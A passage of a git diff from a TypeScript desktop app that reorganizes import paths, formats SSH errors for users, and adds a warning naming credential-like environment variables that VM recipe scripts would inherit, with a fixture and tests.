+  return message
+}
+
+export function formatSshErrorOrFallback(error: unknown, fallback: string): string {
+  return error instanceof Error ? formatSshUserFacingError(error.message) : fallback
+}
diff --git a/src/renderer/src/components/settings/ssh/targets/use-ssh-config-sync.ts b/src/renderer/src/components/settings/ssh/targets/use-ssh-config-sync.ts
index db896a0ec5e..7190ab3921e 100644
--- a/src/renderer/src/components/settings/ssh/targets/use-ssh-config-sync.ts
+++ b/src/renderer/src/components/settings/ssh/targets/use-ssh-config-sync.ts
@@ -3,6 +3,7 @@ import { toast } from 'sonner'
 import { useAppStore } from '@/store/index'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { useTranslate } from '@/i18n/use-translate'
+import { formatSshUserFacingError } from './ssh-user-facing-error'
 
 /** Only explicit restoreRemoved lifts tombstones; plain config sync must preserve removals. */
 export function useSshConfigSync(onSynced: () => Promise<void>): {
@@ -44,7 +45,7 @@ export function useSshConfigSync(onSynced: () => Promise<void>): {
       if (mountedRef.current) {
         toast.error(
           err instanceof Error
-            ? err.message
+            ? formatSshUserFacingError(err.message)
             : t('auto.components.settings.SshPane.f495689b82', 'Import failed')
         )
       }
diff --git a/src/renderer/src/components/settings/ssh/targets/use-ssh-target-tests.ts b/src/renderer/src/components/settings/ssh/targets/use-ssh-target-tests.ts
index 9ff126cd535..82c1f1bc847 100644
--- a/src/renderer/src/components/settings/ssh/targets/use-ssh-target-tests.ts
+++ b/src/renderer/src/components/settings/ssh/targets/use-ssh-target-tests.ts
@@ -5,6 +5,7 @@ import { useAppStore } from '@/store/index'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { useTranslate } from '@/i18n/use-translate'
 import { isConnectingSshStatus } from '../../../../ssh/ssh-connection-recoverability'
+import { formatSshUserFacingError } from './ssh-user-facing-error'
 
 type TestOutcome = { ok: true } | { ok: false; message: string }
 
@@ -58,7 +59,7 @@ export function useSshTargetTests(): {
         ok: false,
         message:
           err instanceof Error
-            ? err.message
+            ? formatSshUserFacingError(err.message)
             : t('auto.components.settings.SshPane.68c13b4589', 'Test failed')
       }
     } finally {
diff --git a/src/renderer/src/components/settings/tasks/use-task-source-provider-readiness.ts b/src/renderer/src/components/settings/tasks/use-task-source-provider-readiness.ts
index 12fbc051e46..1019b13600e 100644
--- a/src/renderer/src/components/settings/tasks/use-task-source-provider-readiness.ts
+++ b/src/renderer/src/components/settings/tasks/use-task-source-provider-readiness.ts
@@ -1,5 +1,4 @@
 import { useMemo } from 'react'
-import type { TaskProvider } from '../../../../../shared/work-items/task-providers'
 import {
   GLOBAL_AGENT_SKILL_SOURCE_KINDS,
   useInstalledAgentSkillNames
@@ -7,10 +6,11 @@ import {
 import { useActiveProjectSkillRuntime } from '@/hooks/skills/runtime/useActiveProjectSkillRuntime'
 import { useLinearProviderConnected } from '@/hooks/useLinearProviderConnected'
 import { LINEAR_AGENT_SKILL_NAMES } from '@/lib/skills/installation/agent-feature-skill-names'
-import { getLocalPreflightContext } from '@/lib/local-preflight-context'
-import { localPreflightContextKey } from '@/lib/local-preflight-context-key'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localPreflightContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import { getProviderRuntimeContextKey } from '@/runtime/hosts/observations/provider-runtime-context'
 import { useAppStore } from '@/store/index'
+import type { TaskProvider } from '../../../../../shared/work-items/task-providers'
 import type { TaskProviderReadiness } from './task-source-setup-state'
 
 export function useTaskSourceProviderReadiness(
diff --git a/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx b/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx
index c936e300151..2f8bb1cf5f3 100644
--- a/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx
+++ b/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx
@@ -21,7 +21,7 @@ import {
 import {
   TERMINAL_TUI_MOUSE_WHEEL_MULTIPLIER,
   normalizeTerminalTuiMouseWheelMultiplier
-} from '@/lib/pane-manager/pane-terminal-tui-wheel-reports'
+} from '@/lib/pane-manager/terminal-input/pane-terminal-tui-wheel-reports'
 import { SettingsGroup } from '../section-layout/SettingsGroup'
 
 type TerminalInteractionSectionProps = {
diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx
index 075626ce914..653290c1e47 100644
--- a/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx
+++ b/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx
@@ -1,4 +1,3 @@
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import {
   DEFAULT_TERMINAL_FONT_WEIGHT_BOLD,
   TERMINAL_FONT_WEIGHT_MAX,
@@ -17,11 +16,12 @@ import {
   SettingsSegmentedControl
 } from '../../form-controls/SettingsFormControls'
 import { SearchableSetting } from '../../section-layout/SearchableSetting'
-import { clampNumber } from '@/lib/terminal-theme'
+import { clampNumber } from '@/lib/terminal/appearance/terminal-theme'
 import { useTranslate } from '@/i18n/use-translate'
 import { defaultTerminalFontWeight } from '../../../../../../shared/terminal/appearance/terminal-platform-defaults'
 import { isWindowsDesktopClient } from '@/lib/files/os-open/windows-path-access'
 import { getTerminalAdvancedTypographySearchEntries } from './terminal-typography-search'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 
 type TerminalAdvancedTypographyControlsProps = {
   settings: GlobalSettings
diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx
index 5846001e6f7..2ce2f715aab 100644
--- a/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx
+++ b/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx
@@ -1,4 +1,3 @@
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import {
   NumberField,
   SettingsRow,
@@ -7,8 +6,9 @@ import {
   SettingsSwitchRow
 } from '../../form-controls/SettingsFormControls'
 import { SearchableSetting } from '../../section-layout/SearchableSetting'
-import { clampNumber } from '@/lib/terminal-theme'
+import { clampNumber } from '@/lib/terminal/appearance/terminal-theme'
 import { useTranslate } from '@/i18n/use-translate'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 
 type TerminalCursorAppearanceSectionProps = {
   settings: GlobalSettings
diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx
index 3939ad1cb7d..dd310e60e98 100644
--- a/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx
+++ b/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx
@@ -1,9 +1,9 @@
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import { DEFAULT_TERMINAL_INACTIVE_PANE_OPACITY } from '../../../../../../shared/constants'
 import { NumberField, SettingsSubsectionHeader } from '../../form-controls/SettingsFormControls'
 import { SearchableSetting } from '../../section-layout/SearchableSetting'
-import { clampNumber, resolvePaneStyleOptions } from '@/lib/terminal-theme'
+import { clampNumber, resolvePaneStyleOptions } from '@/lib/terminal/appearance/terminal-theme'
 import { useTranslate } from '@/i18n/use-translate'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 
 type TerminalPaneAppearanceSectionProps = {
   settings: GlobalSettings
diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx
index 22396768c58..bd05ddbda31 100644
--- a/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx
+++ b/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx
@@ -1,6 +1,6 @@
 import { useEffect, useMemo, useRef, useState } from 'react'
 import { Terminal } from '@xterm/xterm'
-import { TerminalLigaturesAddon } from '@/lib/pane-manager/terminal-ligatures-addon'
+import { TerminalLigaturesAddon } from '@/lib/pane-manager/terminal-rendering/terminal-ligatures-addon'
 import { Moon, Sun } from 'lucide-react'
 import '@xterm/xterm/css/xterm.css'
 import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card'
@@ -11,15 +11,18 @@ import {
   usePluginFontReady
 } from '@/store/plugins/appearance/plugin-fonts'
 import { composeActiveTerminalTheme } from '@/components/terminal-pane/appearance/terminal-appearance'
-import { clampNumber, resolveEffectiveTerminalAppearance } from '@/lib/terminal-theme'
+import {
+  clampNumber,
+  resolveEffectiveTerminalAppearance
+} from '@/lib/terminal/appearance/terminal-theme'
 import { resolveTerminalMinimumContrastRatio } from '../../../../../../shared/terminal-themes/terminal-contrast-correction'
 import { resolveTerminalFontWeights } from '../../../../../../shared/terminal/appearance/terminal-fonts'
 import { resolveTerminalLigaturesEnabled } from '../../../../../../shared/terminal/appearance/terminal-ligatures'
 import { normalizeTerminalLineHeight } from '../../../../../../shared/terminal/appearance/terminal-line-height-settings'
 import { PREVIEW_BUFFER } from './terminal-preview-content'
 import { Switch } from '@/components/ui/switch'
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import { useTranslate } from '@/i18n/use-translate'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 
 // Pin 36 columns for the 32-character sample plus margin; large fonts clip instead of wrapping.
 const PREVIEW_COLS = 36
diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx
index 80627651c22..80532a9a5e2 100644
--- a/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx
+++ b/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx
@@ -1,21 +1,20 @@
 import { useState } from 'react'
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import {
   TERMINAL_COLOR_OVERRIDES_SETTING,
-  terminalColorOverridesForSlot,
-  type TerminalThemeSlot
+  terminalColorOverridesForSlot
 } from '../../../../../../shared/terminal-themes/terminal-color-overrides'
+import type { TerminalThemeSlot } from '../../../../../../shared/terminal-themes/terminal-color-overrides'
 import { Button } from '../../../ui/button'
 import { Label } from '../../../ui/label'
 import { Switch } from '../../../ui/switch'
 import { ColorField, NumberField } from '../../form-controls/SettingsFormControls'
 import { SearchableSetting } from '../../section-layout/SearchableSetting'
-import { clampNumber } from '@/lib/terminal-theme'
+import { clampNumber } from '@/lib/terminal/appearance/terminal-theme'
 import { isWebClientLocation } from '@/app-shell/platform/web-client-location'
 import { WindowMaterialSetting } from '../../appearance/WindowMaterialSetting'
 import { useTranslate } from '@/i18n/use-translate'
-
 import { COLOR_OVERRIDE_GROUPS } from './terminal-window-color-groups'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 
 type TerminalWindowSectionProps = {
   settings: GlobalSettings
diff --git a/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts b/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts
index 81a796345d8..1caae050e19 100644
--- a/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts
+++ b/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts
@@ -1,13 +1,13 @@
 import { useRef, useState } from 'react'
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import { useMountedRef } from '../../../../hooks/useMountedRef'
-import {
-  terminalConfigImportSettingsUpdate,
-  type TerminalConfigImportFormat,
-  type TerminalConfigImportPreview,
-  type TerminalConfigImportSource
+import { terminalConfigImportSettingsUpdate } from '../../../../../../shared/terminal/appearance/terminal-config-import-preview'
+import type {
+  TerminalConfigImportFormat,
+  TerminalConfigImportPreview,
+  TerminalConfigImportSource
 } from '../../../../../../shared/terminal/appearance/terminal-config-import-preview'
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 
 export type UseTerminalConfigImportReturn = {
   format: TerminalConfigImportFormat
diff --git a/src/renderer/src/components/settings/terminal/themes/TerminalThemePicker.tsx b/src/renderer/src/components/settings/terminal/themes/TerminalThemePicker.tsx
index 88033942442..e33e9034059 100644
--- a/src/renderer/src/components/settings/terminal/themes/TerminalThemePicker.tsx
+++ b/src/renderer/src/components/settings/terminal/themes/TerminalThemePicker.tsx
@@ -1,11 +1,11 @@
-import type React from 'react'
 import { useState } from 'react'
+import type React from 'react'
 import { Trash2 } from 'lucide-react'
 import { ThemeColorSwatch } from '../../../plugins/page/PluginThemeSwatch'
 import { SettingsRow } from '../../form-controls/SettingsFormControls'
 import { SettingsSearchableSelect } from '../../form-controls/SettingsSearchableSelect'
 import { useTranslate } from '@/i18n/use-translate'
-import type { TerminalThemeOption } from '@/lib/terminal-theme'
+import type { TerminalThemeOption } from '@/lib/terminal/appearance/terminal-theme'
 
 type ThemePickerProps = {
   label: string
diff --git a/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx b/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx
index feb7b5aa4e6..3a886ce55c9 100644
--- a/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx
+++ b/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx
@@ -1,21 +1,21 @@
 import { usePluginTerminalThemes } from '@/store/plugins/appearance/plugin-themes'
-import { withTerminalPluginPalettes } from '@/lib/terminal-plugin-palettes'
-import { useState, type ReactNode } from 'react'
+import { withTerminalPluginPalettes } from '@/lib/terminal/themes/terminal-plugin-palettes'
+import { useState } from 'react'
+import type { ReactNode } from 'react'
 import { toast } from 'sonner'
 import { useAppStore } from '@/store/index'
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import { parseCustomTerminalThemeSelection } from '../../../../../../shared/terminal-themes/terminal-custom-themes'
 import {
   terminalCustomThemeRemoval,
-  type TerminalCustomThemeRemoval,
   DEFAULT_TERMINAL_THEME_DARK,
   DEFAULT_TERMINAL_THEME_LIGHT
 } from '../../../../../../shared/terminal-themes/terminal-theme-selection'
+import type { TerminalCustomThemeRemoval } from '../../../../../../shared/terminal-themes/terminal-theme-selection'
 import {
   hasTerminalColorOverrides,
-  TERMINAL_COLOR_OVERRIDES_SETTING,
-  type TerminalThemeSlot
+  TERMINAL_COLOR_OVERRIDES_SETTING
 } from '../../../../../../shared/terminal-themes/terminal-color-overrides'
+import type { TerminalThemeSlot } from '../../../../../../shared/terminal-themes/terminal-color-overrides'
 import {
   ColorField,
   SettingsSegmentedControl,
@@ -27,15 +27,15 @@ import { SearchableSetting } from '../../section-layout/SearchableSetting'
 import { TerminalSettingsPreview } from '../appearance/TerminalSettingsPreview'
 import { WarpThemeImportButton } from './WarpThemeImportButton'
 import { YamlThemeImportButton } from './YamlThemeImportButton'
-import type { UseWarpThemeImportReturn } from './useWarpThemeImport'
-
 import {
   getAvailableTerminalThemeOptions,
-  resolveEffectiveTerminalAppearance,
-  type TerminalThemeOption
-} from '@/lib/terminal-theme'
+  resolveEffectiveTerminalAppearance
+} from '@/lib/terminal/appearance/terminal-theme'
+import type { TerminalThemeOption } from '@/lib/terminal/appearance/terminal-theme'
 import { useTranslate } from '@/i18n/use-translate'
 import { cn } from '@/lib/class-names'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
+import type { UseWarpThemeImportReturn } from './useWarpThemeImport'
 
 let lastEditedTerminalThemeTarget: TerminalThemeSlot | null = null
 
diff --git a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmRecipeRow.fixture.tsx b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmRecipeRow.fixture.tsx
new file mode 100644
index 00000000000..1eb05fb3bcb
--- /dev/null
+++ b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmRecipeRow.fixture.tsx
@@ -0,0 +1,49 @@
+import { defineFixture } from '../../../../component-fixtures/component-fixture'
+import { EphemeralVmRecipeRow } from './EphemeralVmRecipeRow'
+
+const entry = { repoId: 'r', repoName: 'acme/web', repoPath: '/repo', recipes: [], diagnostics: [] }
+const names = ['ANTHROPIC_API_KEY', 'AWS_SECRET_ACCESS_KEY', 'GITHUB_TOKEN', 'OPENAI_API_KEY']
+
+function Rows() {
+  return (
+    <div className="divide-y divide-border/50 rounded-lg border border-border/50 bg-background text-foreground">
+      <EphemeralVmRecipeRow
+        entry={entry}
+        recipe={{
+          id: 'remote-vm',
+          name: 'Remote VM',
+          create: './scripts/vm/create.sh',
+          destroy: './scripts/vm/destroy.sh'
+        }}
+        credentialEnvNames={names}
+        onUse={() => {}}
+      />
+      <EphemeralVmRecipeRow
+        entry={entry}
+        recipe={{
+          id: 'limited-vm',
+          name: 'Limited VM',
+          create: './scripts/vm/create.sh',
+          destroy: './scripts/vm/destroy.sh',
+          passEnv: ['GITHUB_TOKEN']
+        }}
+        credentialEnvNames={names}
+        onUse={() => {}}
+      />
+      <EphemeralVmRecipeRow
+        entry={entry}
+        recipe={{
+          id: 'ssh-vm',
+          name: 'SSH host',
+          create: './scripts/vm/ssh.sh',
+          destroyDisabled: true,
+          passEnv: []
+        }}
+        credentialEnvNames={names}
+        onUse={() => {}}
+      />
+    </div>
+  )
+}
+
+export const rows = defineFixture({ width: 720, render: () => <Rows /> })
diff --git a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmRecipeRow.tsx b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmRecipeRow.tsx
index 532f35ef227..f60674bee16 100644
--- a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmRecipeRow.tsx
+++ b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmRecipeRow.tsx
@@ -1,21 +1,28 @@
-import { Play } from 'lucide-react'
+import { KeyRound, Play } from 'lucide-react'
 import type React from 'react'
 import type { OrcaHooks } from '../../../../../../shared/orca-yaml-hook-types'
+import { isRecipeEnvNamePassed } from '../../../../../../shared/ephemeral-vm-recipe-env'
 import { Button } from '../../../ui/button'
 import { useTranslate } from '@/i18n/use-translate'
+import { isWindowsUserAgent } from '@/app-shell/platform/user-agent-platform'
 
 type RecipeCatalogEntry = Awaited<
   ReturnType<typeof window.api.ephemeralVm.listRecipeCatalog>
 >[number]
 type Recipe = NonNullable<OrcaHooks['environmentRecipes']>[number]
 
+const MAX_LISTED_ENV_NAMES = 6
+
 export function EphemeralVmRecipeRow({
   entry,
   recipe,
+  credentialEnvNames,
   onUse
 }: {
   entry: RecipeCatalogEntry
   recipe: Recipe
+  /** Credential-like names in Orca's environment; null until loaded or when unavailable. */
+  credentialEnvNames: readonly string[] | null
   onUse: () => void
 }): React.JSX.Element {
   const t = useTranslate()
@@ -34,6 +41,7 @@ export function EphemeralVmRecipeRow({
         <p className="truncate font-mono text-xs text-muted-foreground">
           {recipe.id} · {recipe.create} · {destroyLabel}
         </p>
+        <RecipeEnvExposure recipe={recipe} credentialEnvNames={credentialEnvNames} />
       </div>
       <div className="flex shrink-0 items-center gap-1">
         <Button type="button" variant="outline" size="xs" className="gap-1.5" onClick={onUse}>
@@ -44,3 +52,64 @@ export function EphemeralVmRecipeRow({
     </div>
   )
 }
+
+function RecipeEnvExposure({
+  recipe,
+  credentialEnvNames
+}: {
+  recipe: Recipe
+  credentialEnvNames: readonly string[] | null
+}): React.JSX.Element | null {
+  const t = useTranslate()
+  if (!credentialEnvNames) {
+    return null
+  }
+  const platform = isWindowsUserAgent() ? 'win32' : 'linux'
+  const passed = credentialEnvNames.filter((name) =>
+    isRecipeEnvNamePassed(name, recipe.passEnv, platform)
+  )
+  if (passed.length === 0) {
+    return recipe.passEnv ? (
+      <p className="mt-1 text-xs text-muted-foreground">
+        {t(
+          'auto.components.settings.EphemeralVmRecipeRow.envLimited',
+          'Scripts only receive the variables listed in passEnv, plus PATH, HOME and similar basics.'
+        )}
+      </p>
+    ) : null
+  }
+  const listed = passed.slice(0, MAX_LISTED_ENV_NAMES).join(', ')
+  const names =
+    passed.length > MAX_LISTED_ENV_NAMES
+      ? t(
+          'auto.components.settings.EphemeralVmRecipeRow.envNamesMore',
+          '{{names}} +{{count}} more',
+          {
+            names: listed,
+            count: passed.length - MAX_LISTED_ENV_NAMES
+          }
+        )
+      : listed
+  return (
+    <p
+      className="mt-1 flex items-start gap-1.5 text-xs text-status-warning-text"
+      title={passed.join('\n')}
+      data-testid="recipe-env-exposure"
+    >
+      <KeyRound className="mt-0.5 size-3 shrink-0" />
+      <span className="min-w-0">
+        {recipe.passEnv
+          ? t(
+              'auto.components.settings.EphemeralVmRecipeRow.envExposedAllowlist',
+              'Scripts run on this computer and receive these credentials from passEnv: {{names}}.',
+              { names }
+            )
+          : t(
+              'auto.components.settings.EphemeralVmRecipeRow.envExposedAll',
+              'Scripts run on this computer with your full environment, including {{names}}. Set passEnv on the recipe to pass only what it needs.',
+              { names }
+            )}
+      </span>
+    </p>
+  )
+}
diff --git a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.test.tsx b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.test.tsx
index 12d5c61ddb1..76723a6b2f3 100644
--- a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.test.tsx
+++ b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.test.tsx
@@ -81,6 +81,7 @@ describe('EphemeralVmsPane', () => {
               ]
             }
           ]),
+          listCredentialEnvNames: vi.fn().mockResolvedValue(['ANTHROPIC_API_KEY', 'GITHUB_TOKEN']),
           doctor: vi.fn().mockResolvedValue({
             recipeId: 'cloud-sandbox',
             repoPath: '/repo',
@@ -165,4 +166,41 @@ describe('EphemeralVmsPane', () => {
     expect(container.textContent).toContain('Newest Recipe')
     expect(container.textContent).not.toContain('Stale Recipe')
   })
+
+  it('names the credential-like variables a recipe inherits, without values', async () => {
+    const container = await renderPane()
+    await vi.waitFor(() =>
+      expect(container.querySelector('[data-testid="recipe-env-exposure"]')?.textContent).toContain(
+        'ANTHROPIC_API_KEY, GITHUB_TOKEN'
+      )
+    )
+    expect(container.textContent).toContain('Set passEnv on the recipe')
+  })
+
+  it('lists only allowlisted credentials when the recipe sets passEnv', async () => {
+    const listRecipeCatalog = window.api.ephemeralVm.listRecipeCatalog as ReturnType<typeof vi.fn>
+    listRecipeCatalog.mockReset().mockResolvedValue([
+      {
+        repoId: 'repo-1',
+        repoName: 'Repo',
+        repoPath: '/repo',
+        diagnostics: [],
+        recipes: [
+          {
+            id: 'limited',
+            name: 'Limited',
+            create: 'create',
+            passEnv: ['GITHUB_TOKEN']
+          }
+        ]
+      }
+    ])
+    const container = await renderPane()
+    await vi.waitFor(() =>
+      expect(container.querySelector('[data-testid="recipe-env-exposure"]')?.textContent).toContain(
+        'from passEnv: GITHUB_TOKEN.'
+      )
+    )
+    expect(container.textContent).not.toContain('ANTHROPIC_API_KEY')
+  })
 })
diff --git a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.tsx b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.tsx
index 9e670dff931..392607d693c 100644
--- a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.tsx
+++ b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsPane.tsx
@@ -37,6 +37,7 @@ export function EphemeralVmsPane(): React.JSX.Element {
   const [agentLaunching, setAgentLaunching] = useState(false)
   const activeSkillRuntime = useActiveProjectSkillRuntime()
   const [catalog, setCatalog] = useState<RecipeCatalogEntry[]>([])
+  const [credentialEnvNames, setCredentialEnvNames] = useState<string[] | null>(null)
   const [isLoading, setIsLoading] = useState(true)
   const [promptCopied, setPromptCopied] = useState(false)
   const mountedRef = useMountedRef()
@@ -93,6 +94,18 @@ export function EphemeralVmsPane(): React.JSX.Element {
     void refresh()
   }, [refresh])
 
+  useEffect(() => {
+    // The warning is advisory; if the names can't be read the list still works without it.
+    void window.api.ephemeralVm
+      .listCredentialEnvNames()
+      .then((names) => {
+        if (mountedRef.current) {
+          setCredentialEnvNames(names)
+        }
+      })
+      .catch(() => undefined)
+  }, [mountedRef])
+
   useEffect(() => {
     if (!window.api.plugins?.onChanged) {
       return
@@ -302,6 +315,7 @@ export function EphemeralVmsPane(): React.JSX.Element {
                   key={`${entry.repoId}:${recipe.id}`}
                   entry={entry}
                   recipe={recipe}
+                  credentialEnvNames={credentialEnvNames}
                   onUse={() => openWorkspaceComposerForRecipe(entry.repoId, recipe.id)}
                 />
               ))}
diff --git a/src/renderer/src/components/settings/voice/VoiceDictationSettings.tsx b/src/renderer/src/components/settings/voice/VoiceDictationSettings.tsx
index 8a89b62383e..01ca64abec8 100644
--- a/src/renderer/src/components/settings/voice/VoiceDictationSettings.tsx
+++ b/src/renderer/src/components/settings/voice/VoiceDictationSettings.tsx
@@ -12,6 +12,7 @@ import { useAppStore } from '@/store'
 import { ShortcutKeyCombo } from '@/components/ShortcutKeyCombo'
 import { useShortcutKeyDetails, useShortcutLabel } from '@/hooks/useShortcutLabel'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { localizeUnassignedDisplay } from '@/i18n/unassigned-label'
 import { Button } from '../../ui/button'
 import { Switch } from '../../ui/switch'
 import { SettingsRow, SettingsSegmentedControl } from '../form-controls/SettingsFormControls'
@@ -75,7 +76,7 @@ export function VoiceDictationSettings(props: VoiceDictationSettingsProps): Reac
   const { voiceSettings, permissionPending, onToggleVoiceDictation, onUpdateVoiceSettings } = props
   const t = useTranslate()
   const openSettingsTarget = useAppStore((s) => s.openSettingsTarget)
-  const shortcut = useShortcutLabel('voice.dictation')
+  const shortcut = localizeUnassignedDisplay(useShortcutLabel('voice.dictation'))
   const shortcutKeys = useShortcutKeyDetails('voice.dictation')
   const mode = dictationShortcutMode(voiceSettings)
   const dictationLabel = t('components.settings.voice.dictation.label', 'Dictation')
diff --git a/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts b/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts
index d1d61a59c13..4d7fe6deb47 100644
--- a/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts
+++ b/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts
@@ -1,9 +1,9 @@
 import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { isGitRepoKind } from '../../../../shared/repo-kind'
 import { getRepoExecutionHostId } from '../../../../shared/execution-host'
 import { checkRuntimeHooks } from '@/runtime/repo-hooks/runtime-hooks-client'
-import { getLocalPreflightContext, localPreflightContextKey } from '@/lib/local-preflight-context'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { hasEffectiveSetupCommand } from '@/runtime/repo-hooks/setup-script-status'
 import { getProviderRuntimeContextKey } from '@/runtime/hosts/observations/provider-runtime-context'
 import {
@@ -16,10 +16,8 @@ import {
   useInstalledAgentSkill
 } from '@/hooks/skills/discovery/useInstalledAgentSkills'
 import { useOnboardingSkillRuntime } from '@/hooks/skills/runtime/use-onboarding-skill-runtime'
-import {
-  getSetupGuideProgressSnapshot,
-  type FeatureWallSetupProgress
-} from '../feature-wall/feature-wall-setup-progress'
+import { getSetupGuideProgressSnapshot } from '../feature-wall/feature-wall-setup-progress'
+import type { FeatureWallSetupProgress } from '../feature-wall/feature-wall-setup-progress'
 import { deriveIntegrationConnectionStatus } from '../feature-wall/use-integration-connection-status'
 import { useSetupGuideBrowserMilestoneProgress } from './setup-guide-browser-milestone-progress'
 import {
@@ -34,6 +32,7 @@ import {
   setSetupScriptProbeCache,
   subscribeSetupScriptProbeCache
 } from './setup-script-probe-cache'
+import { localPreflightContextKey } from '../../runtime/hosts/preflight/local-preflight-context-key'
 
 const SETUP_SCRIPT_PROBE_SETTLE_TIMEOUT_MS = 15_000
 
diff --git a/src/renderer/src/components/sidebar/SetupScriptCodeBlock.tsx b/src/renderer/src/components/sidebar/SetupScriptCodeBlock.tsx
index 290ec839ca9..711b5f544c7 100644
--- a/src/renderer/src/components/sidebar/SetupScriptCodeBlock.tsx
+++ b/src/renderer/src/components/sidebar/SetupScriptCodeBlock.tsx
@@ -3,7 +3,7 @@ import { ChevronDown } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { cn } from '@/lib/class-names'
 import { useTranslate } from '@/i18n/use-translate'
-import { countScriptLines } from '@/lib/script-textarea-rows'
+import { countScriptLines } from '@/components/script-editor/rows/script-textarea-rows'
 
 export const SETUP_SCRIPT_COLLAPSED_LINES = 5
 const LINE_HEIGHT_PX = 20
diff --git a/src/renderer/src/components/sidebar/SetupScriptPromptCardViews.tsx b/src/renderer/src/components/sidebar/SetupScriptPromptCardViews.tsx
index d7c9b1959be..b8841529391 100644
--- a/src/renderer/src/components/sidebar/SetupScriptPromptCardViews.tsx
+++ b/src/renderer/src/components/sidebar/SetupScriptPromptCardViews.tsx
@@ -6,7 +6,7 @@ import { cn } from '@/lib/class-names'
 import { Trans } from 'react-i18next'
 import { i18n } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
-import { getDetectedSetupScriptTextareaRows } from '@/lib/script-textarea-rows'
+import { getDetectedSetupScriptTextareaRows } from '@/components/script-editor/rows/script-textarea-rows'
 
 type DismissButtonProps = {
   onDismiss: () => void
diff --git a/src/renderer/src/components/sidebar/SidebarTaskNavButton.tsx b/src/renderer/src/components/sidebar/SidebarTaskNavButton.tsx
index d3eed6fd78e..62de718b65d 100644
--- a/src/renderer/src/components/sidebar/SidebarTaskNavButton.tsx
